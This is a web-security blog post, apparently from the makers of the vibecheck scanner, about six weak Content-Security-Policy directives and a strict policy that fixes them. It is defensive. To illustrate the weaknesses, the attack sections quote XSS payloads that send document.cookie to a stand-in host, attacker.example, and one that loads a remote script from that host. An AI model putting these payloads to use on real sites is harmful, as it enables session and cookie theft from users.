CSP bypasses in vibe-coded apps: 6 weak directives and the strict policy that fixes all of them.
'unsafe-inline' (re-enables inline scripts, the entire reason CSP exists), 'unsafe-eval' (re-enables string-as-code APIs), wildcard script-src (any HTTPS host can serve scripts), data: in script-src (turns markup injection into code execution without a remote fetch), missing default-src (everything you didn't set is unrestricted), and Report-Only forever (the policy never enforces). The strict-CSP recipe that fixes all of them is at the end of this post — short enough to copy.
CSP is one of the most powerful browser-side security features and one of the most-misconfigured. The directive language is dense, the deployment workflow involves two header names that look identical, and the trade-offs between strictness and "things break in production" are real. The result: most vibe-coded apps ship a CSP, but the CSP either doesn't actually block anything or blocks the wrong thing.
This post walks the six CSP weaknesses vibecheck's headers detector flags, what each enables for an attacker, and the strict policy that replaces all of them.
Refresher: how CSP evaluates
CSP is delivered in a response header (Content-Security-Policy) or, less commonly, a meta tag. The header value is a list of directives separated by semicolons; each directive controls one type of resource fetch and lists the sources allowed for it. script-src 'self' means "scripts only from my own origin." img-src * means "images from anywhere." default-src 'self' sets the floor for any directive you didn't explicitly specify.
The browser refuses to load resources that don't match. For inline content (inline <script> blocks, inline event handlers, inline styles), CSP refuses to execute them unless explicitly permitted via a nonce, hash, or — the keyword we'll see a lot — 'unsafe-inline'.
The directive that matters most for XSS defence is script-src. The six findings below are six ways script-src stops being a defence.
1. 'unsafe-inline' in script-src
The most common CSP weakness in the wild. The directive looks like:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
That looks restrictive — it pins everything to 'self' — but the 'unsafe-inline' keyword switches off the protection that makes CSP worth deploying in the first place. With 'unsafe-inline', the browser will execute any <script>...</script> block it sees in your HTML, including ones an attacker injected via XSS.
The attack:
- Attacker finds a stored or reflected XSS sink in your app — a comment field that doesn't escape angle brackets, a search-results page that echoes a URL parameter, anything.
- Attacker submits content like
<script>fetch('https://attacker.example/x?c='+document.cookie)</script>. - Without
'unsafe-inline': CSP blocks the script. The attack fails. - With
'unsafe-inline': CSP permits the script. The attack succeeds.
The pattern usually shows up because a build tool or templating engine emitted inline scripts (initial state hydration, analytics snippets, configuration objects) and the developer added 'unsafe-inline' to make the page work. Then the page worked, the CSP ostensibly existed, and no one revisited it.
Fix. Three patterns, in order of preference:
Nonces. Generate a random nonce per request, inject it into both the CSP header and every legitimate inline script tag:
// Server (per request):
const nonce = crypto.randomBytes(16).toString("base64");
res.setHeader(
"Content-Security-Policy",
`default-src 'self'; script-src 'self' 'nonce-${nonce}'`,
);
// HTML template:
<script nonce="${nonce}">window.__INITIAL_STATE__ = ...</script>
Attacker-injected inline scripts won't have the nonce; the browser blocks them.
Hashes. If the inline script body is static (the same text every render), compute its SHA-256 hash at build time and pin the hash in CSP:
Content-Security-Policy: script-src 'self' 'sha256-AbCdEf...';
The browser refuses to execute any inline script whose hash doesn't match. Use this for single static initialization scripts; the nonce approach scales better when you have many.
Externalize. Move the inline script body into a separate .js file served from your origin. script-src 'self' then permits it without nonces or hashes.
Dedicated fix-guide: /fix/csp_unsafe_inline_scripts.
2. 'unsafe-eval' in script-src
The second-most-common weakness. 'unsafe-eval' permits eval(), Function(), setTimeout('code', n), and setInterval('code', n) — the JavaScript APIs that interpret strings as code.
The directive isn't directly bypass-able in the way 'unsafe-inline' is. An attacker still needs initial code execution. But once they have any code-execution primitive (a stored XSS, a script-injection in a third-party library, a compromised CDN), eval() lets them assemble payloads from string concatenation that pattern-matching defences and WAFs can't see. The compounding effect: many XSS-mitigation libraries and frameworks assume CSP blocks eval, so their defence-in-depth weakens when eval is permitted.
The most common reason 'unsafe-eval' ends up in production CSP: a development tool needed it locally and the dev's CSP got copied to production wholesale. Common offenders:
webpack'sdevtool: 'eval-source-map'— emits source maps via eval. The dev-server CSP allows it; production accidentally inherited the same CSP.- Vue with the runtime+compiler build — uses
new Functionfor templates compiled at runtime. Switching to the runtime-only build (templates pre-compiled at build time) removes the eval requirement. - Older animation libraries that built tween functions via
new Function. Most have moved away.
Fix.
- Search for actual usage:
grep -rE "\beval\(|new Function\(" src/. Inspect each match. - Switch dev tooling: webpack
devtool: 'source-map'or'cheap-source-map'. Vue: ensure runtime-only build. - Drop
'unsafe-eval'from the production CSP. Verify the build still works.
If a third-party library genuinely needs eval and there's no alternative: isolate it in a same-origin iframe with its own CSP, OR scope the permission to that library's source via script-src-elem/script-src-attr discipline.
Dedicated fix-guide: /fix/csp_unsafe_eval.
3. Wildcard script-src
The directive looks like:
Content-Security-Policy: default-src 'self'; script-src 'self' https:
https: as a source value matches any HTTPS URL. So does *. So does http:. The CSP looks restrictive (it pins to 'self' for everything else) but for scripts it's effectively no policy at all — every HTTPS host on the public internet is allowed.
The attack. An attacker hosts JavaScript on any domain they control (or finds a CDN compromise — these happen). Then:
- They get a markup-injection sink (the same XSS-precondition as #1, but here we don't need
'unsafe-inline'). - They inject
<script src="https://attacker.example/x.js"></script>. - CSP permits the script (matches
https:). - The script runs in your origin's context, with full access to your cookies, localStorage, and any session tokens reachable from JS.
The policy usually shows up because the developer wanted to allow a specific CDN (cdn.your-app.com, js.stripe.com) and reached for the broadest match (https:) instead of pinning the specific origin.
Fix. Replace the wildcard with a pinned allowlist:
# BEFORE
script-src 'self' https:
# AFTER
script-src 'self' https://cdn.your-app.com https://js.stripe.com
Identify what your page actually loads:
// DevTools Console:
performance.getEntriesByType('resource')
.filter(e => e.initiatorType === 'script')
.map(e => new URL(e.name).origin)
That's your allowlist. Pin each origin explicitly. If a third-party script loads further scripts (Stripe.js loads from m.stripe.network; some analytics tools chain-load), check the provider's CSP recipe in their docs and add their downstream origins.
Dedicated fix-guide: /fix/csp_wildcard_script_src.
4. data: in script-src
The most subtle one. data: URIs let you embed an entire script's body in the URL itself: data:text/javascript,alert(1) is a complete script.
When CSP permits data: in script-src, you've effectively re-enabled inline scripts via a sideline. The attacker's script doesn't need a hash, doesn't need a nonce, doesn't need to be hosted anywhere. They just need a way to inject one tag:
<script src="data:text/javascript,fetch('https://attacker.example/x?c='+document.cookie)"></script>
The browser permits the script (matches data: in script-src), executes the inline body. Same effect as 'unsafe-inline', despite the policy not saying that word.
The pattern usually shows up because the developer needed data: in img-src (for inline base64 images — common in icon sprites) and copied the directive into script-src by mistake, or because a CSP generator tool defaulted to it.
Fix. Remove data: from script-src. Keep it in img-src if you actually use inline images:
# BEFORE
script-src 'self' data:; img-src 'self' data:
# AFTER
script-src 'self'; img-src 'self' data:
Dedicated fix-guide: /fix/csp_data_uri_in_script_src.
5. Missing default-src
The CSP looks like:
Content-Security-Policy: frame-ancestors 'none'; upgrade-insecure-requests
This started as a frame-ancestors-only or upgrade-insecure-requests-only policy and never got fleshed out. The visible parts work. The implicit parts — script-src, connect-src, font-src, media-src, worker-src, object-src — fall back to default-src; without default-src, those directives are unrestricted.
This is medium severity rather than high because there's no specific exploit primitive — but it's a foundation problem that compounds with every other misconfig. Adding default-src 'self' as the floor makes every other tightening additive instead of struggling against an open default.
Fix. Add default-src 'self'. Tighten per directive.
Dedicated fix-guide: /fix/csp_missing_default_src.
6. Report-Only forever
The deployment-safety mechanism turned permanent state. Content-Security-Policy-Report-Only is the header you ship while you're figuring out what your CSP would block. Browsers log violations to the report endpoint but do not enforce. The intended workflow is: ship Report-Only, watch the report stream for a week, fix legitimate violations, switch to Content-Security-Policy (the enforce header).
The trap is forgetting step three. Apps regularly stay in Report-Only for years because nothing breaks (browsers don't enforce) and nothing prompts the dev to flip the switch.
Report-Only is not a security control. It's an observability tool. If your threat model includes XSS — every web app's threat model includes XSS — you need enforce mode.
Fix. Switch the header name. Before flipping: review the last 7 days of report-uri logs. Anything legitimate that's currently triggering reports needs to be addressed (either by adjusting the policy or by fixing the offending code).
You can run both headers simultaneously during a switch — enforced policy is strict, Report-Only is even stricter and used to test future tightenings. CSP supports this by design.
Dedicated fix-guide: /fix/csp_report_only.
The strict CSP recipe
What every vibe-coded app should ship as a starting point. Tune per actual usage:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{REQUEST_NONCE}';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' data:;
connect-src 'self' https://your-api-host;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
object-src 'none';
upgrade-insecure-requests
Notes:
- script-src uses nonce, not
'unsafe-inline'. Generate a fresh nonce per request, inject it into the header AND every legitimate inline script. - style-src does include
'unsafe-inline'. Most CSS frameworks need it, and the XSS-via-CSS attack surface is dramatically smaller than via JS. If you're rolling pure CSS files, drop it. - connect-src lists every API origin. Otherwise
fetch()calls to your backend get blocked. - frame-ancestors 'none' replaces X-Frame-Options. Modern browsers treat them as equivalent, with frame-ancestors taking precedence when both are set.
- object-src 'none' blocks Flash and similar legacy plugins. Free win.
- upgrade-insecure-requests auto-upgrades any
http://resource references in your page tohttps://. Saves you from accidental mixed content during migrations.
Validate the deployed policy at csp-evaluator.withgoogle.com. Aim for green badges on script-src, no warnings on default-src.
An honest note: vibecheck fails its own CSP check
When this article shipped, vibecheck's own deploy started failing the csp_unsafe_inline_scripts check it implements. Our pages embed ~320 inline <script type="application/ld+json"> blocks across ~30 pages (BlogPosting / BreadcrumbList / FAQPage schema for SEO). A fully hash-based CSP would require ~320 SHA-256 hashes pinned in script-src — about 18 KB of CSP header content, which exceeds Cloudflare Pages' 16 KB per-response-header limit. The header is silently dropped when oversize.
The alternatives we considered:
- Per-request nonce via Pages Functions. Works but would require a Function in front of every static page, removing CDN-cache benefits and adding latency. Significant refactor.
- Move JSON-LD to external files. Defeats the purpose — search engines and AI crawlers need the schema markup inline in the HTML they crawl.
- Strict-dynamic. Designed for pages where one trusted root script loads everything else; doesn't apply when the inline blocks are JSON-LD (non-executing) and there's no script-loaded-by-script chain.
- Accept the finding. CSP
'unsafe-inline'matters when there's an XSS injection sink. vibecheck's static pages have NO user-generated content — no comments, no forms with echoed input, no markdown rendering. There's nowhere to inject.
We chose the last option, with the trade-off documented in public/_headers and a scripts/build-csp.ts shipped that regenerates a hash-pinned CSP for projects that fit under the limit. Different decision at different scale.
The point of acknowledging this publicly: vibecheck is honest about what it flags, including on its own deploy. Run a self-scan — you'll see the finding. Grade D, single high finding, the rest of the deploy clean.
How vibecheck fits in
vibecheck's headers detector parses the CSP and CSP-Report-Only headers and emits a finding per weakness present. The six rules covered above each have a dedicated /fix/<rule> page with framework-specific fix code (Express, Next.js, Hono, plain Pages Functions). Run a scan against your deploy and look at the Headers section.
For active probing of a related header-side bug — CORS misconfiguration — see the CORS post. The two header categories pair: a strict CSP closes XSS execution paths, a strict CORS policy closes cross-origin authenticated reads.
Inspect your app's CSP